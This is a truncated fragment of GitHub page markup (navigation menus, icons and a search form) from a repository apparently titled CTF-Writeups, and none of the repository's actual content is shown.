flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="148139157" data-scoped-search-url="/berkeakil/CTF-Writeups/search" data-owner-scoped-search-url="/users/berkeakil/search" data-unscoped-search-url="/search" data-turbo="false" action="/berkeakil/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="n0fZbz+Mhppwz4n/yGklVtvPuCnmlOfA7/cNrZnUUQupqVNME1jZydi/YSvuZ4Em0LhNLL3DD7leVzYfQ0Gilg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 